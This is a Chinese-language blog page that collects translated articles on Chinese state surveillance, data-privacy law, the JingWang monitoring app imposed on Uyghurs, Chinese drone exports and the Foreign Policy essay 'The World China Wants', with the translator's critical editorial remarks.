中国媒体和消费者开始更加公开地批评侵犯隐私的行为。2018年3月，互联网搜索巨头百度的CEO李彦宏在暗示中国消费者愿意"用隐私换取安全、便利或效率"后，引发了社交媒体上的集体愤怒。"胡说八道！"一位社交媒体用户写道，后来被《人民日报》引用。"更准确的说法是，[我们的隐私]不可能得到有效的保护。"

2019年10月底，社交媒体上开始流传某学校学生佩戴脑电波监测头带的照片，据说是为了"提高学生的注意力和学习效率"，随后，社交媒体用户再次表示愤怒。当地教育主管部门最终出面，告诉学校停止使用头带，因为头带侵犯了学生的隐私。

- 在这里看到《家长阻止学校在学生头上安装电磁装置以收集脑波数据》

一周后，一名中国法学教授起诉杭州一家野生动物园，称该动物园用人脸识别取代了以指纹为基础的进入系统，并称该动物园没有征得他

的同意存储他的图像。

- 在这里看到《“抵制面部识别”：中国教授起诉野生动物园》

但公众对侵犯消费者隐私的敏感度越来越高，却并没有导致对政府监控的许多限制，甚至也没有对其进行太多审查。

正如人权观察的研究员所指出的，这部分是因为大多数中国公民不知道政府行动的规模或范围。在中国，这点与美国和欧洲一样，数据隐私法有广泛的所谓国家安全豁免。例如，《网络安全法》允许政府要求私人行为者提供数据，以协助刑事法律调查。公安部也直接积累了大量的个人数据。因此，可以在没有大幅限制政府部门获取信息的情况下，加强工业领域的数据隐私。

然而，疫情的爆发扰乱了这种令人不安的平衡。

2月11日，总部位于上海西南城市杭州的金融科技巨头蚂蚁金融发布了一款名为“健康码”的应用平台。同一天，杭州市政府发布了利用该平台打造的一款 App。杭州的 App 要求人们自我报告自己的旅行和健康信息，然后给每个人一个红色、黄色或绿色的颜色代码。

突然间，杭州的1000万居民都被要求出示绿色码才能乘坐地铁、买菜或进入商场。一周之内，100多个城市的地方政府都使用健康码开发了自己的应用。竞争对手科技巨头腾讯迅速跟进，推出了自己的平台来构建它们。

这些应用程序让人们看到了令人担忧的国家监控水平，并引发了新一波的公众辩论。

3月，北京大学新闻学教授胡泳认为，政府的疫情数据收集已经越界。他写道，这不仅导致了信息被窃取的事例，而且还为这些数据被超出其最初目的的使用打开了大门。他问道：“历史有没有表明，政府一旦拥有监控工具，在使用这些工具时就会保持谦虚谨慎的态度？”

事实上，在5月底，泄露的文件显示，杭州政府计划制作一个更永久性的健康码应用程序，对市民的运动、吸烟和睡眠等行为进行评分。在舆论哗然之后，市政府官员取消了该项目。国有媒体也发表了批评该应用的报道。

争论很快就传到了中央。当月，全国人民代表大会宣布打算快速通过《个人信息保护法》。代表们表示，由于疫情期间收集到的数据规模

庞大，使得强有力的执行更加迫切，并强调需要明确政府在特殊紧急情况下的数据收集和数据删除程序的范围。

到了7月，立法机构提出了新的“严格审批”程序，要求政府主管部门在收集民间平台的数据前必须经过该程序。Sacks 和“新美国”智库的中国学者们写道，这一措辞再次保持模糊，稍后将被充实 —— 也许是通过另一份不具约束力的文件，但此举“可能标志着向限制现有政府对所谓国家安全的豁免的广泛范围迈出了一步”。

洪同样认为，行业管理规则和政府数据收集规则之间的差异不会持久，政府将很快开始限制自己的范围。“我们不能简单地解决一个行为体，而把另一个行为体排除在外”，他说，“这不会是一个非常科学的方法。”

但是。其他观察人士则不同意这点。人权观察组织的王说，政府可以很容易地做出表面上的努力来解决公众对可见数据收集的反感，而不会真正触及公安部全国监视业务的核心。她补充说，任何法律都可能会被不均衡地执行。“在新疆，穆斯林居民对他们的待遇没有任何发言权。”

不过，这个洪延庆仍然是一个乐观主义者。7月，他开始在北京大学从事法律教学工作，现在他维护着一个关于网络安全和数据问题的博客。每个月，他都会和中国一个新兴的数据保护官员群体见面，他们仔细观察世界各地的数据治理是如何发展的。〇

Inside China’s unexpected quest to protect data privacy 有付费墙，别忘了《如何穿越付费墙：12个省钱大法》

原文

中国想要的世界 - iyouport

中国-半壁高堡奇人

【2021年4月7日存档】这是 “外交政策” 杂志的文章，整体上 …… 有点奇怪

【按】这篇文章来自所谓的主流媒体 “外交政策” 杂志，其作者是是牛津大学近代中国历史和政治学教授 Rana Mitter。这篇文章中出现的论据整体上没什么错误，但是，其语气方面比较奇怪，有点接近中文俗称的 “劝进表”。

也许这样的形容是刻薄了，您可以亲自感受下它。文章中罗列的论据都没什么问题，但后面的部分观点就有不同的味道了。它似乎在进行一场谈判（而不仅仅是分析），它留下了一些可商讨或者说 “可妥协” 的台阶。

我们在翻译的过程中不得不加入了一大堆 “原文如此” 的标记，以缓解您的惊讶；如果您对细节信息感兴趣，我们添加了一些超链接，也许可以帮助理解。

中国是否想改变全球秩序，以促进自身利益、反映自身形象？这可能是当今地缘政治中最重要的问题，然而，它所引出的答案往往更多地揭示了现代偏见，而不是关于未来中国超级大国的样子。

一些担心未来会出现扩张主义的中国的人们指出了北京今天的侵略性姿态的证据；另一些不那么悲观的人们则强调中国政策中更多的包容特征，或者指出中国将面临很多挑战，即使它想重塑世界，也会受到阻碍。许多西方观察家认为，新的冷战正在爆发，中国将成为21世纪版的苏联。

这些预测太过僵化和笼统，无法有效地描述中国崛起的复杂性 —— 既无法捕捉到中国未来目标中固有的不确定性，也无法认识到塑造其愿望的基本要素。

今天的中国权力是由专制主义、消费主义、全球野心和先进技术的结

合所形成的一种保护性的、动态的权力。称之为ACGT模式：与DNA中的核苷酸首字母相同，中国权力的这些链条互相结合并重新组合，形成了中国的现代政治身份和对世界其他国家的态度。

中国共产党要坚定对中国社会的控制，鼓励国内外的消费主义，扩大全球影响力，发展和输出中国自己的先进技术。如果不把这四个目标放在一起看，就无法理解中国目前的地位和未来的前景。

分析中国国家主席习近平的政治强人式领导力对于理解当今中国及其可能的轨迹非常重要，中国对 COVID-19 大流行的反应也是如此。

但是，ACGT四种力量的意义超越了任何一位领导人或任何一种危机。它们塑造了北京对其在重构世界秩序中的位置的想法，在这个秩序中，中国在亚洲扮演一个突出的角色，并输出其经济投资模式，这种模式借鉴了共产主义的发展理念，对自由主义规范漠不关心（尽管并不总是积极地敌视这些规范）。

为了使自己的做法合法化，中国常常转向历史，例如援引其前现代的过去，或者重新解释二战事件。

习近平领导下的中国日益专制的方向，只为这个国家提供了一种可能的未来。为了理解中国可能走向何方，观察家们必须关注中国权力的主要元素以及表达和想象这种权力的框架。

中国权力的纽带

「图」

自2008年全球金融危机以来，中国领导人已经明确提出他们的专制治理体系本身就是目的，而不是通往自由国家的垫脚石。

中共坚持认为，这是一个任人唯贤的制度：中国社会从党的得力领导人身上获得的利益，足以弥补民众对当权者的选择缺乏参与。至少在短期内，COVID-19 危机已经促进了国内的专制主义。

2020年初，中国吹嘘其对病毒的抑制是其自上而下的强制性政府系统的能力。(该国一直不太愿意承认，它最初的应对不力是由于党国无力处理不受欢迎的信息造成的)。

中共新近的所谓自信和对抗性特征标志着与习之前更犹豫不决的威权主义版本有了显著的不同，当时中国领导人甚至将新加坡这样的伪民

主国家—— 无论其多么不完美和不自由—— 视为潜在的模式。现在不再是了。

中国领导人不只是想巩固他们在国内的统治。他们的野心是全球性的。这并不完全是新鲜事：国民党领袖蒋介石和共产党领袖毛泽东分别在20世纪40年代和60年代都曾设想让自己的国家在国际上扮演重要角色。

然而，习的中国将国际野心与经济、军事和技术力量相结合，实现了真正的全球影响力，从雅典的港口设施到吉布提的海军基地，再到5G技术在全球的推广。习近平在2017年党的十九大演讲中宣称，中国将毫不动摇地走近世界事务的“中心舞台”。

为了采取这一立场，中国一直在寻求促进国内物质产品的消费（“拉动内需”）。自1978年以来，中国共产党一直致力于解决苏联最显著的缺陷之一：未能满足国内消费者的需求和欲望。

过去四十年来，中国的“革命”已经成为一场消费革命，建立了一个越来越无现金的社会，网购激发了诸如电商平台阿里巴巴的单身节双11的崛起—— 世界上最大的消费事件，在2019年卖出了价值380亿美元的商品。

生活水平的提高促进了人们对中共将继续兑现其经济承诺的期待，即使在2020年初中国经济因冠状病毒而严重收缩之后。中国的日益繁荣也使西方和亚洲国家受益，这些国家迎来了数百万奢侈品、旅游服务和高等教育的中国买家。

在科技领域，中国才真正在全球交往中走出了新的方向。过去20年的经济增长和大量的研究支出相结合，创造了世界上最创新的环境之一。中国研发的新技术推动了中国的军事发展，一方面为消费者生产新的商品，同时也为建立大数据监控国家做出了贡献。中国令人印象深刻的技术能力构成了其向世界提供的最有潜力和吸引力的部分。

中国的叙事

「图」

中国权力的各个分支不是从整体上产生的，而是从一套历史框架中产生的，这套历史框架继续对中国的所有决策产生重大影响。中国领导人从过去的历史中理解中国在世界中日益增长的作用。他们现在以修正主义的方式宣称自己在1945年后的国际秩序中扮演着奠基者的角

色，拥护中国传统的治理规范，寻求对全球南方国家的领导，并明确使用马列主义的语言和符号。

在1960年后的冷战中，中国在大部分时间里都处于旁观状态，既不属于西方阵营，也不属于苏联阵营。然而，在过去的20年里，中国不仅将自己投向了二战后形成的国际秩序的参与者，而且，还将自己投向了国际秩序的关键奠基者。

在2020年慕尼黑安全会议上，王毅外长提醒听众，中国是1945年《联合国宪章》的第一个签署国，这是近年来中国领导人反复提及的事实。但是，为了拥抱那个时刻—— 当时执政的国民党代表在帮助建立联合国的中国代表团中占据主导地位，中共不得不重新塑造支撑其统治中国权利的20世纪历史。自20世纪80年代以来，中共承认，它的老对手—— 国民党及其西方盟友是1937年至1945年抗日战争胜利的关键伙伴；此前，中共领导人将抵御日本入侵中国大陆的功劳完全归于自己。这种认识使该党能够对中国历史进行更大的重新解释，认为现代中国的建立不仅仅是在1949年共产主义革命中—— 就像最初构想的那样—— 也是在第二次世界大战中。

这种转变不是一个历史琐事，而是反映了中国如何想象自己并希望被理解。中国现在将自己置于盟军胜利和1945年后秩序建立的中心位置。它在保卫亚洲、牵制50多万日军，直到珍珠港事件后，发挥了至关重要的作用，以多达1400万中国人的生命为代价。

这种巨大的贡献是北京坚持认为中国 “参与了战后世界的创建” 的基础。它在21世纪不断扩大的国际作用，就建立在对20世纪这种假定的中心地位之上。

习的中国现在是联合国第二大财政捐助国，并在联合国维和行动人员派遣国中位居前十。美国总统唐纳德-特朗普（Donald Trump）被认为从自由主义国际秩序的义务和规范中退缩，这进一步加强了中国的地位，即它现在是1945年遗产的最值得的继承者。

对二战的回忆仍然是中国公共生活的核心。例如，中共官员将中国去年春天对新冠状病毒的所谓胜利描述为 “人民战争” 的结果，呼应了毛泽东在抗日战争中使用的语言。

中国对其全球角色的认识有一段更为久远的历史。近年来，有影响力的中国学者，如阎学通和白彤东，主张以前现代的儒家观点来理解国际秩序。

西方观察家常常把中国在国际关系中的行为解释为纯粹的现实主义。但是，使用借鉴传统思想的修辞表明，中国和所有国家一样，更希望自己的选择被理解为道德的，而不仅仅是现实主义的。

当中国领导人使用诸如“仁”（意为“仁爱”）这样的词汇时，他们将国家的利益和行动建立在道德的、理想主义的语言之上。随着中国影响力的增长，这些对传统的引用将变得更加频繁。

中国领导人将阐述一种符合全球化价值观的现代化儒家思想，强调“道德”和“共同的未来”，同时淡化更多非自由的儒家价值观，如对社会等级制度的信仰。

这种对一个基本道德的中国的愿景支持了另一个野心。中国希望将自己定位为全球南方的领导者。这个目标并不是独创的；在冷战期间，中国试图将自己描绘成当时被称为第三世界的拥护者，与恶毒的资本主义西方和萎靡不振的苏联形成对比。

中国不仅将自己视为1945年后秩序的新守护者，而且还将自己视为后殖民世界非西方反帝主义的继承者 —— 北京似乎正在完成这一不可能的双重角色。

今天的中国并不寻求在全球南方引发革命。相反，它认为较贫穷的国家是强调经济发展和国家主权原则的政策的试验场。

中国这种形式的参与不一定会导致彻底的威权主义；埃塞俄比亚和缅甸等国就是表面上的民主国家（尽管事实上是非自由主义国家）如何从中国发展模式中获益的例子。但是，中国在海外的努力也没有鼓励自由化或民主改革。中国的支持者认为，中国促进发展的模式比任何崇尚自由民主的模式“更加灵活”。一带一路倡议(BRI) 是中国庞大的国际基础设施投资计划，尽管该计划并不成熟，但它是中国寻求在海外展示其领导力的主要工具。

随着中国在海外的资本支出，它在国内更加坚定地接受了马克思列宁主义的言论。中国官员还没有在针对国际听众的声明中使用这种语言，这主要是因为中国在全球秩序中竭力表现自己是一个非革命国家，并希望避免让人想起毛主义的幽灵。

但在国内，该党在其交流中使用了诸如“斗争”这样的词汇。中共还经常提到“矛盾”，即 社会内部的紧张关系可能会产生建设性结果的概念，毛泽东也经常提到这一观点，习近平也非常认可这一观点，他在2017年党的十九大讲话中用这一短语来描述新的“不平衡不充分的

发展与人民日益增长的美好生活需求之间的矛盾”。这句话表明，虽然在当代中国的言论中很少听到包括阶级斗争在内的马列主义传统思想的许多方面，但这种思想并非完全没有。习在讲话中点明，阶级之间的不平等在中国仍然是一个现实，党认为这种不平等是它希望呈现的总体成功叙事的一个瑕疵。

独裁者困境

「图」

当然，中国领导人如何构筑他们对中国权力和世界地位的愿景，并不能指导外界如何看待中国。

在习的领导下，北京让其他国家更难忽视 ACGT 模式核心的专制主义。例如，2013年，中国领导人以BRI将给受援国带来的商业和技术利好来宣传BRI。一些西方观察家甚至赞许地将BRI称为“中国的马歇尔计划”（令许多不愿与美国冷战者联系在一起的中国评论家感到恼火）。

然而，七年后，由于北京的行动和言论，中国的专制主义更加充分地显现出来。例如，在COVID-19大流行的第一阶段，中国官员指出他们有能力比民主政府的同行更快地调动资源和收集数据，并宣称中国将为世界创造一种疫苗。

但无论其潜在的好处是什么，中国的威权主义都不会轻易赢得全世界的人心。随着BRI项目的传播，人们对中国经济和政治影响力的担忧也会随之而来。在柬埔寨等非民主的客户国，中国可能会遇到较少的抵制，但在肯尼亚和赞比亚等国家，抵制的可能性更大，因为这些国家的议会和媒体可以对中国的参与进行辩论，公众对中国及其制度的态度也是喜忧参半，甚至是公开的敌意。

如果中国全球力量的对抗性更加明显，这种敌意可能会变得更加严重。随着中国海外利益的增长，北京将无法继续利用现有的安全保护伞 —— 例如，本世纪头十年在阿富汗，北约实际上帮助保护了中国的资产。

中国日益增长的经济和外交利益范围越来越要求中国扩大在全球的安全存在。特别是印度洋，中国可能会有更多的活动，因为中国寻求在希腊、吉布提和巴基斯坦的关键港口所形成的地理三角地带提升其贸易利益。针对这种可能性，澳大利亚、印度、日本和美国（统称“四国联盟”）于去年11月在印度洋举行了联合海军演习。

尽管许多国家对中国的投资感到满意，但解放军部队的到来很可能是一个相当不受欢迎的发展。中国的外交技巧可以非常高超，但其目前经常尖锐而无趣的语气足以让许多潜在的合作伙伴望而却步；中国要发展必要的软实力能力，将解放军未来的任何扩张描绘成提供“共同安全”，而不仅仅是执行北京的愿望，还有很长的路要走。

中国对 COVID-19 危机的处理让许多此前一直在追求北京的国家感到不快。2010年代末，中国在富裕国家中取得了一定的成功，为其消费产品 (如大受欢迎的 TikTok 应用) 赋予了以前与日本有关的那种高科技的魅力。

然而，在COVID-19疫情爆发后，中国采取了高度对抗性的外交风格，并在此过程中将西方公众的注意力转移到中国技术的独裁可能性上。西方观察家对中国利用监控技术镇压新疆维吾尔少数民族群体，以及在香港可能利用这一技术追踪和起诉非暴力抗议者感到震惊。

全球对中国威权主义的新关注将使中国寻求在海外投射其模式的努力变得复杂。例如，考虑到中国为让其他主要国家坚定承诺采用中国电信巨头华为开发的5G技术而进行的斗争。

全球北方的一些国家 —— 澳大利亚、德国、日本、新西兰和美国 —— 已经明确表示不会使用华为的5G技术，因为他们担心5G设备的安全性，担心与中国的专制政权有关联。英国起初同意允许华为有限地进入其5G市场，但在2020年7月推翻了这一决定。在6月中印军队在喜马拉雅边境地区发生冲突后不久，印度政府宣布，未来将避免在其5G网络中使用华为产品。

不过，非洲、南美和东南亚大部分地区的国家还是比较愿意接受中国的5G，仍然有一大批国家可能仍然会接受中国的5G，因为中国的5G成本低、效果好；对他们来说，接受这项技术的经济优势超过了任何安全问题。

中国5G的这种广泛采用，不会迎来中国在全球的主导地位，但会形成一个巨大的足迹。这样一个5G集团的影响是相当大的，因为北京将有能力控制许多主要国家经济发展中的一个关键要素，并有可能获得获取大量数据的能力。

“中国的世界”

「图」

如果中国领导人继续激怒其他地方的同行，那么即使是实现这种局部霸权也可能是困难的。北京对COVID-19疫情的最初反应表明，在压力之下，中国的专制倾向胜过了其与世界接触的愿望。

多个国家，特别是澳大利亚，提议对病毒的起源进行国际调查。中国没有像一个灵活的大国那样欢迎这个想法，而是立即抵制澳大利亚的大麦销售。当英国政府暗示可能会改变允许华为进入英国5G网络的决定时，中国外交官威胁说“后果自负”，发出了一个明确的信号，即来自中国的投资不只是简单的商业交易，也是一种政治交易，而由此带来的正是他们不希望看到的禁令。

中国在疫情爆发后的尖酸刻薄的反应，使其批评者更容易强调他们认为其不可信的行为，包括南海军事化、可能对包括美国在内的国家进行网络攻击，以及利用世界贸易组织规则的漏洞。

但是，即使许多西方国家试图界定中国目前的行为在哪些方面是不合法的，他们也回避了一个更困难的问题。对中国来说，在自己的地区和更广泛的世界上，什么是合法的目标？中国是一个大国、强国，拥有世界第二大经济体。不能指望一个如此规模的国家仅以其竞争对手的条件参与全球秩序 —— 尤其是因为中国最近的一些成功在很大程度上归咎于西方的失败（原文如此）。

对华为的批评可能有道理，但中国的5G技术对许多国家来说很有吸引力，因为没有明显的西方替代品。批评中国以贬低个人人权重要性的方式扩大其在联合国的影响力是完全恰当的，但中国并没有迫使美国减少对联合国机构的资助。

此刻，中国正在伤害自己，辩称任何对其国内政治的批评都是不允许的。美国在20世纪50年代也处于类似的关头。美国在国内歧视黑人的骇人听闻的记录玷污了它的国际形象，并为它的竞争对手提供了一个容易的目标；毛泽东的政府邀请黑人知识分子和活动家，如 W. E. B. Du Bois 和黑豹领袖 Huey Newton 到北京。美国的政治家们强烈主张，世界其他国家无权批评美国国内的种族政治。

作为一个崛起的大国，中国现在也面临着外界对其国内政治的批评。加入全球经济使它在国内更容易受到对其独裁主义的审查。但它可以做一些比抱怨西方蔑视更有创造性的事。中国可以利用其近代史来重塑自己。（原文如此）

在毛泽东统治下的中国在经济和政治上变得奄奄一息之后，1980年代，毛泽东的继任者邓小平采用了前总理周恩来的“四个现代化”（农

业、工业、国防和科技）理念来重塑中国。邓小平允许农民在自由市场上出售部分收成，给予学者在毛泽东时代消失的学术自由，并建立了“经济特区”，其治理和税收优惠政策旨在引入外资。

就像邓小平在毛泽东逝世后所做的那样，中国在未来十年将不得不重新调整，以更好地吸收 —— 而不是拒绝 —— 来自国外的批评。尽管中国有独裁的名声，但内部辩论在中国的崛起中发挥了重要作用。

直到最近，自由派政治思想家和作家在中国体制内还有空间对他们更强硬的同事提出建设性的批评；与国外一些批评家的接触也有助于检验中国自己的想法和政策。近年来这种辩论的关闭可能在很短的时间内并没有阻碍中国的发展，但在未来几年，当政治思想的僵化阻碍中国政治精英重新评估政策时，很可能会出现这种情况。

给予更多的分歧空间并不一定需要中国的民主化（原文如此！）。然而，这将意味着承诺让公民社会蓬勃发展（扭转近年来律师、活动家和学者被解雇和被拘留的惊人数量），并在国内外创造真正的政府透明度。

中国需要做得更好，而不是将其众多的少数民族群体贬低为民俗传统的古怪典范。相反，它应该寻求说服这些群体 —— 包括新疆的维吾尔人 —— 参与中国项目将肯定他们的尊严和身份感（原文如此）。

谈到香港的异议 —— 这也是对中共建立包容性政体能力的另一个考验 —— 新的国家安全法将所谓的对政府的仇恨定为非法，这表明中共无力听取和学习真正的中国式的但不同于北京的治理传统。

中共也不愿意向台湾提出任何关于共同未来的愿景，而台湾可能会找到一个合理的讨论起点。中国并不声称自己是自由主义者，但它确实宣称自己是一个重视对不同意见进行坦率辩论的功利主义者（“实事求是”）。该党目前的行动未能赢得生活在边境的中国人的支持，更不用说为更广泛的世界树立中国成功发展的典范了。

自己是最大的对手

「图」

中国将面临的最大障碍不是美国或其他对手的敌意。而是中国自身的专制转向。北京对中国核心身份这一方面的承诺，将使其DNA中的其他三个核苷酸 —— 消费主义、全球野心和技术 —— 更难成功地重新组合，激起国外的敌意，并增加中国与其努力重塑的世界之间的障

碍。

2020年开始以来，中国外交政策的日益好战并不是一个好兆头。但是，想象一个不那么对抗性的中国威权主义版本也不是不可能的：在本世纪头十年，中国拥有蓬勃发展的新闻调查文化、不断增长的公民社会和非常活跃的社交媒体 —— 即使在没有完全民主的情况下，共同拥有一个不断扩大的公共领域（原文如此）。

中共可能没有机会变成一个自由民主的政党，但这并不意味着它不能回到这种早期的轨迹。这种类型的中国 —— 2012年之前可见的中国 —— 的专制主义对国内外观众来说都不会那么刺眼。

北京并不是要把自己的制度复制到其他国家。它致力于在国内树立其作为一个成功的民族主义和 “社会主义国家”的意识形态声望（原文如此），但它并不要求其他国家追随它的脚步。中国不觉得自己有义务维护自由主义的国际秩序，不论它对自由主义有任何原则性的信仰。相反，基于中国偏好的秩序很可能包含以下要素：对强大的国家主权的承诺；经济发展，很可能强调可再生能源（目前中国在这一问题上的言论超过了中国的行动）；扩大和整合以中国经济需求为导向的BRI体系；以及由中国标准主导的全球技术格局。这种组合对坚定的民主派来说肯定没有什么吸引力，但它至少可以成为现有自由秩序的一部分的可持续替代方案（原文如此！）。

中国在亚洲日益增长的地位可能导致该地区民主国家的专制倾向加强。在中国的影响下，缅甸和泰国等民主结构脆弱的国家将落到非民主的一边。菲律宾等国家已经变得更容易受到中国规范的影响，因为它们的政治变得更加专制；韩国的政治要自由得多，但由于它靠近中国，在美国从东亚撤退的情况下，它将容易受到冷战时期芬兰化的影响，即 一个民主国家屈从于一个强大的专制邻国的影响。

中国受益于世界上没有任何其他行为体能够引导其独特的ACGT组合。印度、日本、俄罗斯和东南亚国家联盟无法取代中国在亚洲的影响力，更不用说世界了。中国是该地区迄今为止最大的行为体，这使其拥有主导权。

但中国现行体制的不透明性及其强硬的、有时是对抗性的姿态，产生了地区和全球的不信任。美国对亚洲大多数国家来说是可以容忍的（中国和朝鲜除外），因为它在日本和韩国等国的存在赢得了民主的同意。在一个基本上是民主和高度民族主义国家的时代，中国必须使其国际野心为其他国家所接受，即使它们永远不会被完全接受。

上世纪50年代由美国主导的南美国家，或者同期由苏联主导的东欧国家，都是贫穷和不民主的。随着时间的推移，中国要想保持民众对其越来越多地参与到拥有活跃的公共领域的亚洲富裕国家的接受度，将困难得多，即使中国可以利用其军事力量向邻国施压并试图影响它们的做法。

未来几十年，中国的政治结构也将发生很大的变化，并将显现出中国社会开放与封闭因素之间的分歧。中共鼓励中国学术界、商界、法律界的年轻专业人士到海外学习。但在党内自己的队伍中，海外经验的价值远不如前，甚至会损害一个人的晋升前景。

在中国下一代政治领导人中，似乎很少有人有丰富的国际经验，尽管他们无疑会得到有经验者的建议。中国很可能会培养出一批内向型的政治精英，同时也会培养出一批与国际接轨、面向外部的职业精英。这种反差将带来重大挑战，因为它表明，用马克思主义的术语来说，国际化和维护政党权力这两个关键目标之间存在矛盾。

此外，人口结构的地震性变化也即将到来。从2029年开始，中国的人口将每年减少约500万，使中国在达到高收入状态之前就成为一个老龄化社会。中国将需要为数百万老年人的福利买单，却没有日本等老龄化富裕社会的资源。

冠状病毒对经济的意外冲击，使中国更难扩大与该地区邻国的商业联系，尽管中国对病毒的控制似乎在稳步复苏。中国官员现在说的是“双循环”经济，即 在保持国内市场受保护的同时走向全球。但从长远来看，这种平衡的做法是不可持续的。更好的做法是，中国对其合作伙伴的需求和愿望更加敏感，表现出近年来在与邻国关系中没有表现出的技巧。

以ACGT为基础的重塑国际秩序的努力要求中国在整体外交上做出更加协调一致的努力。中国官员现在常常先说些陈词滥调，然后再以极快的速度转向更具胁迫性和对抗性的抨击。

相反，中国需要更好地理解，全球领导力需要让步、宽宏大量和愿意接受批评：在一个国内政治文化鼓励压制而不是庆祝异议的国家，要实现这一目标很难。中国在国际舞台上崛起的主要障碍不是美国的敌意或内部敌人，而是中共核心身份中的专制主义。这种专制主义和有时是对抗性的扩张主义会损害中国模式的其他组成部分 —— 对消费主义和物质生活方式改善的强调，对全球发展和减贫有缺陷但真诚的承诺，以及中国真正惊人的技术创新能力（原文如此）。

中国意识形态混合体的关键要素 —— 马列主义、传统思想、历史类比和经济成功 —— 在很大程度上使西方自由主义始终有限的力量黯然失色，影响了中共如何看待世界。但中国的全球未来取决于它如何成功地重新组合其ACGT模式的其他方面。目前，中国的威权主义有可能限制北京创造一种可信的全球新秩序形式的能力。〇

The World China Wants

原文

中国政府强制安装监控应用程序 - iYouPort

中国-半壁高堡奇人

去年当局告诉中国穆斯林居民安装 JingWang（净网），这是一款扫描某些文件的应用程序。现在研究人员已经发现它在不加密的情况下传输收集到的数据。这个应用程序是中国监视和压迫维族人的进一步举措。

该应用程序是被政府强迫下载的，去年当局通过微信向维人发送了一个 QR 码，要求扫描下载 JingWang 应用程序。JingWang 通过比较手机内容和 MD5 哈希列表，扫描设备上存储的特定文件，包括 HTML，文本和图像。

根据当时 Mashable 发布的 JingWang 公告消息，该应用程序会“自动侦测恐怖分子和非法宗教视频，图像，电子书和电子文档”……用户将被告知删除一切违规内容，以最多10天的拘留相威胁。

目前还不知道 JingWang 正在扫描哪些具体文件。 OTF 的公共博客文章显示，包括 47,000 个文件的哈希列表，或文件指纹。该应用程序还有一个截图功能来捕获发现文件列表的图像。

OTF的报告称，JingWang 还会发送设备的电话号码，设备型号，MAC地址，唯一的IMEI号码和外部存储器中发现的任何文件的元数据，这些文件对于远程服务器而言是非常危险的。

OTF支持的研究人员发现，JingWang 没有任何加密方式就将数据泄露出来，而是以明文形式进行传输。应用程序更新也未进行数字签名，这意味着它们可以在没有设备注意的情况下交换其他内容。

“该应用程序技术上的不安全性不仅让用户被中国政府窥视，并且容易被第三方进一步攻击。足见官方所称的保护公民信息是胡扯，只有利用这些信息来对付他们“。

设计用于广泛监控人群的应用程序并不令人吃惊，更广泛的问题是当局迫使居民首先安装一个监控软件。但该应用程序仍然强调了中国几十年来普遍开展的监视工作。

正如我们一贯强调的：当权者正在用技术对付老百姓，而技术才能对抗技术：老百姓如果持续拒绝对技术的掌握，将必输无疑。

The app extracts a phone's IMEI, MAC Address, manufacturer, model, phone number, subscriber ID, and filenames with hashes for all files stored on the person's device

These identifiers serve to easily identify and track any mobile device and its contents

The app scans the device's external storage for files looking for those it deems as "dangerous" by recording the name, path, size, MD5 hash of the file and comparing it to a list of file hashes received from the server. If a file is identified as "dangerous" it prompts the user to delete the file.

An MD5 hash is a unique file identifier that can locate any file on a mobile device

The app specifies the types of file types it looks for which primarily includes audio, video, photos and html. The app then sends all the filenames with hashes back to the server, not just what may have been identified as dangerous, hashes for every single file on a person's device.

Any user with this app installed will have every file stored on their device sent to a unknown entity for monitoring

Lastly, nothing is transmitted from the individuals device to the receiving server over HTTPS — all in plaintext via HTTP — and updates are unsigned.

This means all the data the app collects is transmitted to the unknown entity on the receiving end in a way that allows someone with a trivial amount of technical knowledge to intercept and potentially manipulate

原文

中国正在向中东出口杀手机器人 - iYouPort

中国-半壁高堡奇人

又是谁在帮助中国构建这种先进技术？

「图」

「图」

国防部长马克·埃斯珀（Mark Esper）表示，中国正在向中东出口据其宣称具有杀伤力的无人机。这是美国国防部高级官员首次承认中国出售的是能够在几乎没有人为监督的情况下夺走生命的武装无人机。

“中国政府已经在向中东出口一些最先进的军用无人机，为下一代隐形无人机的出口做好准备”，Esper 在国家安全委员会人工智能会议上说。

他还说，“此外，中国武器制造商正在出售标榜为具有完全自治能力的无人机，包括进行致命的有针对性的打击的能力。”

- 关于杀人者。很长一段时间，只有美国、英国和以色列拥有战斗无人机并用它们来执行全球战争—— 但是，近年来这一领域发生了巨大变化。

因为，中国来了。详见《潘多拉的轰炸》

「图」

「图」

例如，中国公司紫燕（Ziyan）销售河豚A3，这实际上是一架配备机枪的直升无人机。紫燕说：“它可以自主执行更复杂的战斗任务，包括定点定时检测、定距侦察、和有针对性的精确打击。”

正如国防部联合人工智能中心战略与传播负责人 Greg Allen 在去年2月给 CNAS 的论文中指出的那样，紫燕正在谈判将其河豚A2出售给

巴基斯坦和沙特阿拉伯政府。

“尽管对人工智能军备竞赛表示担忧，但大多数中国领导人都认为，军事上增加对人工智能的使用是不可避免的，并且正在积极追求。中国已经出口了武装自主平台和监视AI，” Greg Allen 写道。

- 《“人工智能”的中国军事》
- 《人工智能新冷战—— AI和5G如何变成一场噩梦》
- 《AI 军备竞赛》

去年，中国第三大国防公司NORINCO（北方工业集团公司）的高级主管 Zeng Yi 曾预测：“在未来的战场上，不会有人类的参与” ——最早是在2025年。

Esper 还表示，中国的监视软件和硬件网络可以帮助中国发展人工智能。

“所有迹象都表明，该国建立了一个二十一世纪的监视国家，旨在对言论进行审查，并以前所未有的规模否认基本人权。毫无疑问，该国已经使用监视手段来系统性镇压一百万以上的穆斯林维吾尔人”；

“北京拥有迫使中国工业界和学术界支持其政府主导的努力所需的一切力量和工具。”

- 要记得《"中国的反乌托邦监视国家是美国制造的"》

美国国防创新委员会提出了一份针对美国军方的AI原则清单，该清单将人为可控列为关键原则，这与早在2012年的先前政策是一致的。Esper 称赞该清单。

他说，“同样令人不安的是，外部公司或跨国公司不经意或默认提供给中国不道德地使用AI的技术能力或研究。”

他应该直接说是美国。没有其他国家能做到这点。〇

SecDef: China Is Exporting Killer Robots to the Mideast

原文

中国的全球影响力：防火墙之外的监视和审查 - iYouPort

中国-半壁高堡奇人

所有人都有这般帝国的野心。最终的结果是什么？

「图」

「图」

大多数人仍然认为通过所谓的GFW实施的只是针对中国国内的审查监控。也许曾经是，但如今已经不同。

GFW是一种监视和阻塞性的系统，可防止中国公民查看国外的网站。中国政府提出使用该防火墙的理由是基于所谓的 “互联网主权” 的概念。中国很早就宣布“互联网在中国领土内属于中国主权管辖”。

- 如今已经不止中国了《"互联网主权的全球崛起：这意味着什么？"》

作为 “一国两制” 协议的一部分，香港基本上不在防火墙之内：那里可以使用 Twitter、Google 和 Facebook 等外国服务，而本地ISP则明确表示反对对其开放式互联网进行的直接国家审查。

但是，随着香港抗议活动的持续进行，以及中国大陆在全球范围内广泛破坏这一运动的尝试，中国正在试图将其影响范围扩大到防火墙之外。

